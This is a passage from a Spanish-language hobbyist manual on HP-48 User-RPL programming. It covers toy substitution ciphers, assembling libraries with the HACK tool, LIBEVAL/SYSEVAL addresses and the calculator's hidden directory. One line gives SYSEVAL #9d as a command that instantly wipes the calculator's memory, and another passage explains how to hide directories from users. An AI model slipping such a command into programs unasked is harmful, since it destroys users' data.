Pero luego, si se quisiera desencriptar, se le restaría nuevamente la clave, la cual es mayor que 95, y con esto, se produciría un caracter negativo, todos los cuales son para la hp-48 el caracter nulo, o sea, el criptograma no se podría recuperar.

********************************************************************

Nota del autor:Esto es tan apasionante, por la

mierda !!!!! me encanta la criptografía !!!!!! VIva PGP !!!! viva RSA !!!!! viva DES !!!!!********************************************************************

Bien, ya hemos visto dos formas de encriptar textos en la hp-48 y su correspondiente forma de reventar. Sigamos con el capítulo....

Ahora nos daremos un salto, y veremos una forma mucho más dificil de reventar.

Ahora lo que haremos será un encriptador, el cual nos pida una clave, que podría ser por ejemplo un número de 5 cifras, el cual se utilizara para cifrar el texto, pero no de la forma que están pensando sino así.... Supongamos que el texto fuere :

"HOLA A TODOS"

Entonces ahora, SUPONGAMOS que los códigos ascii de cada caracter son :

"H" "O" "L" "A" " " "A" " " "T" "O" "D" "O" "S" 72 79 76 65 32 65 32 84 79 68 79 83

Entonces, ahora suponiendo que la clave

fuera 54321, lo que vamos a hacer con la clave y el texto se ilustra a continuación...

"H" "O" "L" "A" " " "A" " " "T" "O" "D" "O" "S" 72 79 76 65 32 65 32 84 79 68 79 83 5 4 3 2 1 5 4 3 2 1 5 4

O sea, la clave la vamos poniendo debajo de cada número ascii para luego hacer que ????

Sumarlos... Con lo que nos queda :

"H" "O" "L" "A" " " "A" " " "T" "O" "D" "O" "S" 72 79 76 65 32 65 32 84 79 68 79 83 5 4 3 2 1 5 4 3 2 1 5 4---------------------------------------------------------- 77 83 79 67 33 70 36 87 81 69 84 87

Entonces, ahora lo que hacemos, es formar el criptograma, a partir de estos números.... Con lo que nos queda...

"H" "O" "L" "A" " " "A" " " "T" "O" "D" "O" "S" 72 79 76 65 32 65 32 84 79 68 79 83 5 4 3 2 1 5 4 3 2 1 5 4---------------------------------------------------------- 77 83 79 67 33 70 36 87 81 69 84 87"M" "S" "O" "C" "!" "F" "$" "W" "Q" "E" "T" "W"

Y por fín, el criptograma es :

"MSOC!F$WQETW"

Ahora, este método de encriptar, es mucho más poderoso de lo que lo fueron los dos primeros, analicemos algúnas cosas...

Primero debemos saber, que para reventar un texto, solo tenemos el criptograma, ya que la clave es desconocida.

Y combinado esto, con un encriptador que permita elegir claves de cualquier longitud.... Nos da GRAN poder de encripción.

Consideremos el texto original :

"HOLA A TODOS"

y el criptograma :

"MSOC!F$WQETW"

Veamos algunas cosillas....

Toma en cuenta, por ejemplo, que en el texto original, la letra O se repite 3 veces, pero si te fijas en el criptograma, sus equivalentes en las tres ubicación serian S Q y T,................. las tres distintas !!!!

Interesante no????...

Bueno, ahora basta decir que para reventar esto hay que trabajar mucho más, yo no soy capaz de decirles como hacerlo, pero se que tiene que ver con técnicas estadisticas y paciencia !!!!:..

Digamos para su cultura general, que este metodo de encripción es Ridículo comparado con los que se usan en firmas digitales y encripcion actual....

El último método que comentaremos, es asignarle a cada letra del abecedario otro signo, y para encriptar, cambiar cada caracter del texto original por su equivalente.....

Para romper este método hay varias formas... algunas muy fáciles... Recuerdo que una vez que estaba en Temuco-Chile junto a mi novia, ella me escribio un criptograma con este método, el cual salía en su agenda con los símbolos correspondientes a cada caracter del abecedario. El mensaje que me escribía, estaba compuesto más o menos por 4 líneas. Y todos los signos del abecedario cambiados... Como no me quiso decir lo que significaba, me propuse la tarea de reventar su método, jajajaja, me rio, por que en ese tiempo, yo aún ni siquiera tenía interes en la criptografía y me plantie el reto de descifrar(reventar) el mensaje..... Demoré como 1 y 1/2 horas en descifrar todo. Lo que hice fué buscar palabras comunes del castellano, estas fueron "por" "que" "de" busqué trios y duetos de letras que se repitieran en el texto, y de poco a poco, lo logré.

Después, mucho Después, hace solo como 2 meses supe que esta era la forma de la cual se reventaban este tipo de criptogramas. Lo

que a mí me faltó saber fueron las letras más comunes del lenguaje español, o sea, la "e", la "a" y la "l".

Bueno, con esto termino este pequeño capítulo, el cual se salió un poco de lo puramente referente a programación, pero consideró que estos conocimientos son muy válidos....

Piense como aplicar la criptografía para defender sus programas de ataques de poto-crackers.

En este momento son las 18:38, mi hijo se toma una mamadera de jugo, y me mira, y se rie. A él está dedicado este trabajo.

*******************************************************************

Nota del autor : En caso de que le haya gustado

el tema de la criptografía, le recomiendo ir a mi página sobre el tema, la cual esta dentro de la seccion "seguridad informática", en

http://www.geocities.com/xj35u5x

Mi página de criptografía es muy humilde, y le puede dejar claros los conceptos básicos, pero en ella hay una lista de links con información MUY avanzada y técnica.*******************************************************************

FIN DEL CAPITULO 4---------------------------------------------------------------------

CAPITULO 5 "¡¡¡¡ LIBRERIAS !!!!"

Después de leer y estudiar este capítulo, usted sabrá todo sobre como transformar sus programas en librerías, las cuales son muy útiles, ya que se pueden usar indeterminados módulos en nuestros programas, pero sin embargo,

mostrarle al usuario, solo los que se necesitan, y la ventaja de eso también es que una librería puede contener muchos programas y módulos, pero para la hp-48 es un objeto único, el cual no puede ser reventado sin herramientas especiales.

Crear librerías no es para nada un trabajo pesado, comparado con las ventajas que representa para nosotros los desarrolladores, ya que solo hay que conocer unos formalismos, y utilizar herramientas que nos hacen muy fácil el trabajo, si las sabemos ocupar... Jaja, digo si las sabemos ocupar, por que si no las ocupamos bien nos tratarán muy mal.... Me refiero por supuesto a una de estas herramientas, la librería HACK.

La librería HACK es la que utilizaremos en este capitulo pra poder armar librerías, y esta puede bajarla de mi web.

Aquí aprenderemos a usarla para crear nuestras librerías. Otros usos no nos importarán en el curso de este capítulo.

Ahora me voy a descanzar un rato. Se me acabó la inspiración.

:-)

Hola de nuevo, estoy de vuelta para que comencemos a crear nuestras propias librerías y así impresionar a media universidad 8-}

Bueno, primero que nada, les diré lo que yo hago cuando deseo desarrollar un programa en la hp-48. Lo primero que hago, y que es muy importante si se quiere utilizar la librería HACK es crearse un directorio de trabajo, en el cual solo tendremos las variables y módulos que pertenecen al trabajo. O sea, un directorio para trabajar tranquilos, sin algunas molestas confusiones con otras variables o programas. También se debe tener muy en cuenta cuando está todo listo para armar la librería, borrar todas las variables del sistema, tales como PPAR(aparece cuando graficamos algo, o utilizamos PICTURE).

Comenzemos.

Al hacer un programa, medianamente grande, se necesita de varios módulos(programación estructurada), los cuales entre todos, hacen el trabajo. En mis propias

creaciones, casí siempre, hay algunos módulos que contienen programas, gráficos, textos, créditos, etc. Entonces, al terminar el programa, vemos un monton de variables, de las cuales la mayoría de las veces para ocupar el programa se necesita ejecutar solo algunas, y son estas las que llaman a las demás para que hagan su trabajo.

Hablemos un poco sobre la teoría de las librerías en la hp-48.

Primero que nada, la definición... Una librería, es un conjunto de objetos, que se agrupan como uno solo e inseparable, el cual nos brinda mucha comodidad para transportar los programas. Programas que muchas veces pueden constar de hasta 50 variables(módulos) o más. De esta manera, sería muy incómodo tener que entregar 50 variables o más a cada persona que quisiera tener nuestro programa. Entonces las librerías nos solucionan esto. Además, la ventaja es que el código de la programación no es visible a travez de la hp-48. A menos que se cuente con herramientas con las que la gente común no cuenta.

Para entender la idea, pensemos en una librería como si su directorio de trabajo(-en el cual se encontraban las variables que conforman su trabajo-), lo transformara en un solo objeto, con un nombre, y en el cual, se tiene acceso a SOLO DETERMINADAS VARIABLES. En nuestro caso, se supone que debemos dar acceso solo a lo que el usuario necesita.

Pongamos por ejemplo que usted tiene un programa que consta de los siguientes módulos :

INICIO -> Con este módulo comienza la ejecución.

GRAFC -> Digamos que este contiene solo un gráfico, el cual es ocupado por el programa.

UTIL -> Es un sub-programa ocupado por el INICIO

CALCULO -> Este es otro sub-programa ocupado por INICIO

Entonces, si nos damos cuenta, el usuario solo debería tener acceso a la variable(módulo) INICIO.

Otra caracteristica muy a tener en cuenta en la creación de nuestras librerías, es que cada librería, contiene un número, que la caracteríza, y que supuestamente debe ser UNICO. Bueno, en realidad lo importante es que en una hp-48 si se encuentran instaladas dos librerías con el mismo número, puede causar concecuencias desastrozas(reset).

Ahora, que ya conocemos un poco más las librerías, vamos a ver, utilizando la librería HACK como crearlas.

Bien. Primero que nada, veamos los requisitos que nos pide la HACK para poder armar una librería.

Primero que nada, un directorio diferente a HOME, en el cual se encuentren todas las variables o módulos que conforman el programa.

Una variable que se deve llamar $ROMID en la cual debemos tener el número de identificación de la variable, pero de la forma # numero. Ese número debe ser de 4 cifras.

Por ejemplo, si el número de identificación de mi variable fuera 1234, entonces, debo crear en el directorio de trabajo, una variable llamada $ROMID cuyo contenido se simplemente :

# 1234d

Si se estuviera en modo hexadecimal la calculadora, entonces, el # 1234d nos aparecería como # 4D2h

Entonces, para evitar confuciones, antes de crear esta variable, ponga la calculadora en modo decimal, esto dandole el comando DEC.

Ya tenemos una de las cuatro variables requeridas por HACK para ensamblar nuestra librería.

Segundo : Necesitamos crear una variable llamada $TITLE en la cual deberá ir primero que nada, el nombre de nuestra librería, y luego algunas palabras tales como su nombre, o su e-mail, etc...

La variable $TITLE debe contener UNA CADENA DE TEXTO, o sea, un ejemplo válido sería :

"TETRIS, DESARROLLADO POR JEUX FRANCAISE [email protected]"

Eso sería algo válido. Ojalá no sea muy larga esta cadena.

Si usted ha tenido oportunidad de visualizar una librería en la pila, recordará que tienen esta forma :

3:2:1: Library 1234: TETRIS, DESARROLLADO

POR......

Entonces, nos podemos dar cuenta también que lo que ponemos en la variable $TITLE, es lo que aparece luego de "Library 1234: "

Bueno, ya hemos analizado dos de las variables que necesita la HACK para crear una librería.

La tercera variable requerida, se llama $VISIBLE, la cual debe contener simplemente una lista. Pero esta lista es muy especial y útil, ya que en ella debemos poner los nombres de las variables que serán visibles al usuario. O sea, en nuestro anterior ejemplo, la variable $VISIBLE debería haber contenido :

{ INICIO }

Entonces, cuando el usuario acceda a la librería, lo único que verá será la variable INICIO para ocuparla. Las otras han quedado ocultas para siempre. Y ESTA ES LA GRAN MARAVILLA DE LAS LIBRERIAS.

Espero que se halla entendido. Ahora vamos a la última y más dificil variable que necesita la librería HACK.

Esta variable tan importante, lleva por nombre $CONFIG, y para crearla, se necesitan algunas otras pequeñas pericias.

Bueno, primero que nada, veamos la

visualización que tiene esta variable en la pila :

2:1: <1234d> External

Primero que nada, no nos asustemos. Podemos darnos cuenta de que son dos palabras separadas por un espacio, pero como ? se supone que según lo que hemos aprendido hasta ahora, esto no es posible, o sea, razonando, debería quedar :

3:2: <1234d>1: External

Pero así no es, ya que ahora tenemos un trozo de código que NO pertenece a lo que nosotros hemos aprendido. Este mis amigos, es un simple código compilado, del lenguaje SYSTEM-RPL. El cual permite que pasen estas cosas raras, como espacios en un solo objeto, sin comillas ni nada.

Ahora, este no es un curso de SYSTEM, así que lo único que veremos será como lograr armar nuestro necesitado :

1: <1234d> External

Primero que nada, aclaremos una cosa, la palabra External, no tiene ninguna relación con simplemente escribir en la pila, External, nono no no no no señor, nada que ver, esa palabra, es un código de lenguaje SYS que ya ha sido compilado. Y es Unica, o sea, si tienen por ahí algún otro External, no les sirve, ya que ese código puede significar otra cosa muy distinta. Esto debido a que en la hp-48 los códigos compilados de lenguaje SYSTEM, todos tienen esa apariencia.

Entonces, ese presiso External deberemos buscarlo en lugares donde sea el que nosotros necesitamos. Pero antes de eso, aprendamos a escribir un número de la forma <2345d>.

Tome su hp-48 y trate de lograr esto :

2:1: <1234d>

Se encontrará con algunas dificultades, ya que no es tan fácil de hecho, en ninguna parte del manual de usuario aparece como lograrlo.

Para poder formar un número de esa forma tenemos dos opciones, una, ocupando la librería HACK, y apretando un simple botón. Esta es la forma fácil, y que cualquiera haría.

Esto se hace de la siguiente manera ..... Ponemos el número que queremos transformar en la pila, en su forma más común, o sea, sin #.

Por ejemplo, si quisieramos transformar el número 1234, lo pondríamos en la pila de la siguiente forma muy obvia.

2:1: 1234

Simplemente eso, y a continuación, abrimos la librería HACK, y buscamos la funcion llamada -><>

Bueno, amigos mios, lamentablemente me acabo de dar cuenta de una verdad que podría doler.... En realidad yo ya lo sabía, pero no de esta manera...

Lo que pasa es que por ahí andan dando vueltas varias versiones de la librería HACK, y la que yo os ofrezco en mi página no tiene la función -><> lamentable este hecho, pero así es... En todo caso, hay otra versión por ahí que si la tiene, y es muy común, pero apenas encuentre esa librería la pongo en la página, y les aviso a todos por e-mail, siempre que me hayan escrito, ya que todos los e-mails de gente que me ha saludado o hecho consultas, tengo sus e-mails, para informarles sobre actualizaciónes, o cosas como esta.

Bueno, ahora que ya saben como hacer eso con la librería HACK, ahora yo les enseñaré la manera que ocupan los que no necesitan de programas para todo. ... jajja :-)

Bueno, en realidad esta forma es bastante simple, pero no tanto como ocupar la HACK.

Primero, debemos poner el número que

queremos transformar en la pila, pero de una manera muy especial :

2:1: :&: 1234

Así, con los mismos signos.

Luego apretar la tecla EVAL y ya está.

2:1: <1234d>

Ahora ya tenemos la mitad del archivo $CONFIG, que es el último que nos falta para poder crear la librería.

La segunda mitad es bastante más dificil de obtener, pero debido a esto, yo desarrolle un programa llamado CONFIGS, el cual nos hace todo este trabajo sucio, o sea, nosotros ponemos el número de nuestra librería en la pila de la siguiente forma:

2:1: 1234

Y luego simplemente apretamos el CONFIGS de mi programa, y el resultado es :

2:1: <1234d> External

Después de esto, simplemente guardamos esto en la variable $CONFIG y ya estamos listos para armar la librería. Si va a usar este método, puede saltarse lo que biene a continuación y Después de tener listo el directorio con todas sus variables y tambien con las cuatro requeridas por la librería HACK, simplemente en la librería HACK use el comando D->LIB

Este comando se debe dar sin ningún objeto en la pila, ya que el simplemente son arma la librería siempre y cuando se cumpla con las condiciones que hemos analizado en este documento sobre la creación de librerías.

En ese momento, luego de haber utilizado el comando D->LIB, aparecerá en la pila su librería armada y lista para ser distribuida, o

sea, hemos terminado el trabajo.

El programa CONFIGS creado por mi, lo pueden descargar directamente de la siguiente dirección :

http://www.geocities.com/xj35u5x/down/configs.zip

Y debe tenerse muy en cuenta que para usarlo se debe tener instalada la librería HACK, cualquier versión.

Ahora veremos la forma sucia y lenta de obtener ese preciado External. La segunda mitad es un poco más complicada de obtener. Recordemos que necesitamos la palabra External, pero no cualquier External, sinó uno muy especial.

Para lograr esto, debemos extraer el archivo $CONFIG de otra librería usando la misma HACK.

Primero, ponemos una librería cualquiera en la pila, de la siguiente forma :

2:1: Library 5555 : Matematicas por

Sebastian Rivas

Luego de eso, usando la librería HACK, utilizamos el comando OB-> Entonces, nos encontraremos con que en la hp-48 ha aparecido un nuevo directorio, el cual contiene la librería desensamblada.

Estando ahí vamos a buscar el archivo $CONFIG y sacamos su contenido. PONGA ATENCION, DIJE SACAR SU CONTENIDO, NO EJECUTARLO, SI USTED LO EJECUTA ES SU RESPONSABILIDAD POR SU CALCULADORA.

Espero que se sepa como sacar rápidamente el contenido , en caso de que no se sepa, déjeme decirle que no tiene nada que hacer en este manual, vaya a lavarse el poto, este es un manual avanzado , vaya al manual de usuario.

Pero de todas formas, una forma fácil de hacerlo es escribir en la pila lo siguiente :

2:1: { $CONFIG }

Y luego aplicar el comando RCL

Después de esto, nos debe quedar en la pila algo como esto :

2:1: <XXXXd> External

En donde XXXX es el número de identificación de la librería que hemos desensamblado.

PONGA ATENCION A LO SIGUIENTE :

EN CASO DE QUE EL CONTENIDO DE LA VARIABLE $CONFIG DE ESA LIBRERIA NO FUERA PARECIDO A LO QUE AQUÍ SE MUESTRA, LO MEJOR ES QUE SALGA DE AHI Y BORRE EL CONTENIDO DE ESE DIRECTORIO, YA QUE SIGNIFICA QUE ESE $CONFIG NO NOS SIRVE, Y LO MAS PROBABLE ES QUE SI SIGA JUGANDO CON EL, RESETEE SU PROPIA CALCULADORA.

EN ESE CASO, LO QUE SE DEBE HACER, ES ABRIR OTRA LIBRERIA EN BUSCA DE UN $CONFIG QUE NOS SIRVA.

Ahora supongamos que ya tenemos lo que necesitamos, o sea,

2:1: <XXXXd> External

Ahora salgamos del directorio de la librería desensamblada, y vayamos a nuestro directorio de trabajo para comenzar a tratar este contenido( <XXXXd> External ).

Antes que nada, recuerdo que luego de haber extraido con exito el $CONFIG de la librería, podemos simplemente borrar el directorio que contiene las variables de dicha librería.

**************************************************************************************************************************************

Nota del autor : Para borrar

completamente un directorio, llamado por ejemplo D4444 , y que no está vacío, se debe ocupar el comando PGDIR, estando el nombre del directorio en la pila encerrado entre { llaves }

(esto debería saberse a estas alturas del curso.**************************************************************************************************************************************

Listo, ahora que ya estamos en nuestro directorio de trabajo con las palabras mágicas en la pila, nos preparamos para comenzar a transformar esto :

<XXXXd> External

es esto :

<1234d> External

Lo primero que debemos hacer es asegurarnos de que el <XXXXd> External esté en el primer nivel de la pila, para poder trabajar con él. o sea ....

2:1: <XXXXd> External

Bueno, ahora, vamos a ir siguiendo los siguientes pasos, uno por uno, y aquí les iré mostrando los efectos que deberían ir viendo a medida que se van dando los pasos.

Recordemos antes de comenzar, que debemos tener a mano, el <1234d> que ya enseñé como crearlo. Lo mejor sería tenerlo guardado en una variable por mientras, después de que hayamos cumplido nuestro propósito de armar el <1234d> External, debemos borrar esa variable.

Todo lo siguiente, debe comenzar con que usted tiene esto en la pila :

2:1: <XXXXd> External

_Primero : Abra la HACK y dé el comando OB->

4:3: <XXXXd>2: External1: 2

Ese es el efecto que se produce al hacer eso.

_Segundo : DROP

3:2: <XXXXd>1: External

_Tercero : SWAP

3:2: External1: <XXXXd>

_Cuarto : DROP

2:1: External

_Quinto : Recupere su número de librería, en este caso <1234d>

3:2: External1: <1234d>

_Sexto : SWAP

3:2: <1234d>1: External

_Septimo : Ingrese el número 2

4:3: <1234d>2: External1: 2

_Octavo y último !!! : Abra la HACK y aplique el comando

->PRG

3:2:1: <1234d> External

LISTO !!!!!!!!!!!

Ahora, eso lo guardamos con el nombre que ustedes recordarán..... $CONFIG

Luego, si es que el número <1234d> lo habíamos guardado en una variable temporal, borramos esa variable.

AHORA, ABRA LA HACK, Y DE EL COMANDO D->LIB

Ha creado su primera librería.

Tenga muy en cuenta este cosejo que le doy, las librerías que usted cree, pongales números entre 1200 y 5000. Para mayor seguridad.Y recuerde siempre que en una misma hp-48 no deben haber dos librerías con el mismo número de identificación.

FIN DEL CAPITULO 5---------------------------------------------------------------------

CAPITULO 6 "AL FILO DE LA MUERTE, LIBEVAL Y SYSEVAL, LOS COMANDOS DEL INFIERNO."

¡Que titulo para este capítulo eh!. Bueno, en este último capítulo de esta tercera parte del manual de programación en lenguaje User-Rpl para la calculadora hp-48, enseñaremos "algunos" usos de dos comandos muy especiales.

Estos dos comandos especiales se llaman LIBEVAL y SYSEVAL.

Primero que nada, tenga en cuenta que en los proximos días, le aseguro, que si se mete con ellos de forma irresponsable, reseteará su hp-48 varias veces.

Esto es devido a que estos dos comandos, son los comandos del infierno, es el límite en el cual cruzan sus caminos los lenguajes User-Rpl y System-Rpl. A travez de ellos, y más del SYSEVAL, tenemos acceso a funciones que nunca habiamos imaginado. O sea, por ejemplo, funciones del SYSTEM-RPL.

*********************************************************************

Nota del autor : Trate de buscar estos comandos en los menus de

la hp-48. Es imposible, ya que no

aparecen. ¿por que?*********************************************************************

Hablemos de algunas cosillas.

En el lenguaje User-Rpl, o sea, el que estamos usando, cada vez que nos equivocamos en algo, simplemente el programa se detiene y se nos comunica nuestro error con un pitido o un mensaje. Esto es debido a que el lenguaje User-Rpl, hace comprobaciones de cada comando, o sea, nos protege de situaciones dolorosas.

Tomemos por ejemplo, tratar de realizar una animación, sin tener todos los parámetros necesarios en la pila. En ese caso, se nos dirá mediante un mensaje nuestro error.

En cambio, el System-Rpl no realiza ningún tipo de comprobación, en este lenguaje, es el programador o desarrollador el encargado de que sus programas no contengan errores. Por ejemplo si se hace una operación que no esta permitida, el System-Rpl la procesará igual, y esto

el 99.99% de los casos termina en :

MEMORY CLEAR

Esta es una de las razones por las cuales el lenguaje SYSTEM es como unas 20 veces más rápido que el user. Nuestro querido User nos protege, el System no.

Bien, y ahora, lo que hacen los comandos LIBEVAL y SYSEVAL no es lo mismo, lo que hace LIBEVAL, o mejor dicho, el uso de él que analizaremos aquí, será para tener acceso mediante programación a lugares en los que no se puede acceder. Y el SYSEVAL, este que es el más poderoso de todos los comandos de la hp-48 le daremos algunos usos diversos.

LIBEVAL

Haga un programa que lo que haga sea introducirlo en el escritor de matrices.

¿ Puede ?

¿ Hay algún comando que nos permita entrar en el menú para graficar funciones ?

Para estas cosas es que sirve el comando LIBEVAL.

Por ejemplo, yo lo utilizo en mi programa llamado ANTI-ALGEBRA Para poder acceder al escritor de matrices.

Y esto es simplemente lo que diremos acerca del LIBEVAL. Sus usos quedan a tu imaginación.

Antes de dar una lista de números para LIBEVAL, veamos la sintaxis del comando.

Lo que LIBEVAL necesita para funcionar es un número en la pila de la forma :

2:1: # numero

O sea, con #

Pero recuerde que es su responsabilidad si resetea su hp-48 con números que no

corresponden o la información que aquí se entrega. En todo caso, siempre es bueno probar emociones fuertes :-)

Aquí entrego una lista con algunos importantes usos de LIVEVAL, junto con el número que corresponda, para que los uses en tus creaciones.

Función LIBEVAL

Menú de Solve polynomial # B402Ch Menú de sistema de ecuaciones # B4033h La ventana de CMD # B2000h Entrada a Chars # B2001h Menú de MODOS

# B41C1h Menú CHOOSE de los Flags (Modos) # B41CFh Entrada directa a MEMORY # B41D7h Entrada directa a SOLVE # B4000hMenú de Solve Equation # B4001h Menú de Solve difeq Equation # B4017h Menú de TVM # B4038h Menú de PLOT # B4045h Menú de SYMBOLIC

# B4113h Menú de Integrales # B4114h Menú de diferenciales # B4122h Menú de STAT # B4175h Menú de SINGLE-VAR STADISTIC # B4176h Menú de Frecuencias # B417Dh Menú de entrada de datos (FIT DATA) # B417Fh Menú de SUMARY STADISTICS # B418Fh Menú de I/O # B4192h Menú de Send to HP-48 # B4193h

Menú de Impresión # B4197h Menú de transferencia (TRANSFER) # B41A8h Menú de recepción de HP-HP # B50FFh Menú de TAYLOR

# B412Bh Menú de ISOLATE VAR # B412Dh Menú de ecuación Cuadratica # B4130h Menú de manipulación de expresiones # B4131h Menú de la Aplicación TIME # B4137h Entrada de las alarmas # B4138h Set time and Date # B415Bh Catalogo de alarmas # B416Eh

Si deseas una lista completa, escribeme a [email protected]

SYSEVAL

Ahora estamos en terreno realmente minado. Este es el comando más poderoso del que disponemos en el lenguaje User-Rpl para la hp-48.

Lo que hace, es simplemente darnos acceso a funciones y comandos del lenguaje System-Rpl

Pero dejo en claro de que este no es un curso de System-Rpl, sino de User, por lo que yo aquí no enseñaré ningún comando System.

La sintaxis del comando y su funcionamiento, es parecido al de LIBEVAL, o sea, se necesita un número con # para poder funcionar, pero dependiendo de cada comando de System, requerirá sus propios argumentos para funcionar, o para tratar o manipular. Los que podrían ser números, números complejos, Cadenas, Dibujos(grobs), etc, o estos mismos combinados.

Entonces, cuando uno no le da al SYSEVAL lo que él necesita, el se enoja y la mayoría de las veces nos destruye la memoria.

Si deseas tener información acerca del lenguaje SYSEVAL, puedes dirigirte a mi página y bajar el manual oficial del SYSTEM.

http://www.geocities.com/xj35u5x

http://www.geocities.com/xj35u5x/xhp48.html

Para no parecer tan hermético con este comando, daré un ejemplo:

Esto es para que usted compruebe el PODER del SYSEVAL.

Si usted aplica SYSEVAL con el número # 9d en la pila, resetea su calculadora inmediatamente, sin preguntas. Simplemente ....

Memory Clear.

Ese es un ejemplo.

Ahora, en caso de que usted, haya quedado enamorado del comando SYSEVAL, en mi página, en la sección Herramientas, puede encontrar una lista completa con los comandos de SYSTEM-RPL y su descripción y su número de SYSEVAL. Está en inglés :-)

http://www.geocities.com/xj35u5x

Aquí hay una pequeñita lista :

30794 VERSTRING 3A328 MakeStdLabel 3A3EC MakeDirLabel 3A38A MakeBoxLabel 3A44E MakeInvLabel 3A1FC DispMenu.1 05F42 GARBAGE 41F65 WaitForKey 353AB SYMB> IDS 40D25 LockAlpha 40D39 UnlockAlpha 3AA0A 1A/ LockA 44C31 DoNewMatrix 44FE7 DoOldMatrix 1314D TOADISP 13135 TOGDISP 39531 ClrDA1IsStat 130AC RECLAIMDISP 4E347 TURNMENUON

05B15 $> ID 05BE9 ID> 3A1E8 DispMenu 39BAD DispStack

Los números, como se podrán dar cuenta por las letras, están en hexadecimal.

De estos, yo no puedo darles información, ya que yo programo y enseño User, pero creo que algunos que les podrían ser útiles serían:

40D25 LockAlpha -- Nos pone en modo Escribir40D39 UnlockAlpha -- Sale del modo Escribir41F65 WaitForKey -- Espera la pulsación de una tecla05F42 GARBAGE -- Recolección de basura

Los demás realmente no recuerdo para qué sirven.

Pero en caso de que te haya interesado demasiado esto, ya sabes donde puedes ir.

FIN DEL CAPITULO 6---------------------------------------------------------------------

CAPITULO 7 "EL DIRECTORIO OCULTO"

En la hp-48 existe un directorio oculto, cuyo nombre es ''.

Trata de hacer esto :

2:1: ''

Es imposible, bueno, a menos que conozcas un comando muy poderoso llamado...... ??¿?¿?¿?¿?::::: si.. SYSEVAL.

BIen, en este directorio oculto, se encuentra información acerca de la asignación de teclas y alarmas.

Usted puede pensar ¿ Y que tiene que ver esto con programación?

La respuesta, es que como yo quise dar todos mis conocimientos en este manual, les diré el uso que yo a veces, en determinados programas le doy al directorio oculto.

Para mi es útil el directorio oculto en aplicaciones en las cuales hay algúna informacion que debe ser creada por nuestros programas, por ejemplo una agenda de teléfonos. Entonces, sería más cómodo para el usuario, que cada vez que necesitara usar su agenda, se fuera al programa que hemos creado, pero él no necesitaría tener acceso a la fuente de datos. O sea, a la variable en donde vamos guardando la información. De esta manera, en casos como estos es muy útil utilizar el directorio oculto.

Ahora, ustedes le pueden dar el uso que deseen.

Se debe tener en cuenta no alterar el contenido de las variables que se encuentran por defecto en el directorio oculto. Ya que estas son ocupadas por el sistema y su modificación podría significar un corrompimiento de la memoria(memory clear).

Los nombres de las variables del sistema que se encuentran en el directorio oculto son :

Alarms UserKeys y UserKeys.CRC

Ahora, lo más importante, ¿ como acceder al directorio

oculto ?

Con el siguiente número de SYSEVAL : # 15777h

O en decimal : # 87927d

Y luego de hacer SYSEVAL nos aparecerá esto :

2:1: ´´

Entonces, estando en el directorio HOME hacemos EVAL y ya está. Ahora, para salir del directorio oculto, se hace igual que con cualquier otro directorio : UPDIR.

Ahora analizaremos otro divertido uso del directorio oculto. En realidad hablaremos de cómo esconder cualquier directorio de la vista del usuario común.

Para esto, debemos entrar en un sub-directorio cualquiera, y guardar cualquier cosa, un número, texto, etc, con el nombre ''. Verá como desaparecen las variables que había ahí. Ahora, para tener acceso a esas variables secretas, usted debe teclear mediante el teclado sus nombres.